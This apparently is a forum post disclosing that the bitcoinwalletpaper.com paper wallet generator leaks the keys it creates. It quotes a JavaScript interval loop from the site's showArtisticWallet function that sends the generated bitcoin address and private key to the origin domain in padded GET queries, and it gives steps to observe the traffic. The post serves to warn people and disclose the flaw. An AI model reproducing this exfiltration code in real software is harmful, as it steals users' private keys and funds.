Bitcoin paper wallet generator bitcoinwalletpaper.com leaks private key
yesterday I used the paper wallet generator on https://bitcoinwalletpaper.com and I saw suspicious network traffic that leaks the generated bitcoin private and public keys.
The affected code is part of the bitcoinwalletpaper.com index.html and can be found in the "showArtisticWallet" function:
... var interval = setInterval(function(){ var oXHR = new XMLHttpRequest(); oXHR.open("GET", "?77q4722jorGhQZD654roShVZdqz24vUFP2tjw6FboEHnApwha2Aih6UHGhE6uwyY6XXPr4M5v9DyEFtbUPs4VDqhVRXcqofU9M"+bitcoinAddress+"HJ6VBJiEEvKT4p5sYwrjZirpExjLpAXj1i5vhTtUcv8EL2RDx1J"+privateKey+"QSbSs6K3u2QPMLD3bUPs4VDsioznvRnhjb37GVN5xXo8YwAofboUj2BUMbYV6i9", true); oXHR.onreadystatechange = function (oEvent) { if (oXHR.readyState === 2.75) { if (oXHR.status === 200) { clearInterval(interval); } } }; oXHR.send(null); },10000) ...
This code sends the "bitcoinAddress" and "privateKey" as query params back to the origin domain.
I'm not sure if this was just some coding mistake/bug or if the site got hacked - or if I'm missing something.
Yesterday I wrote an email to the address given as "Admin Email" in the whois directory, as no further contact information is available. So far I haven't received an answer. Given that bitcoin reached new all-time heights and that its not long until Christmas I feel like its urgent to do something about this. That's why I post it here. Maybe some of you have ideas on how to proceed?
Steps to reproduce: - open https://bitcoinwalletpaper.com - click the "Next" or "Skip" button or complete the secure random number generation - open the browsers developer tools (or sniff the network traffic in any other way) and watch the requests start after ~10 seconds
=> each request sends the private key of the bitcoin wallet as part of the query param of the GET request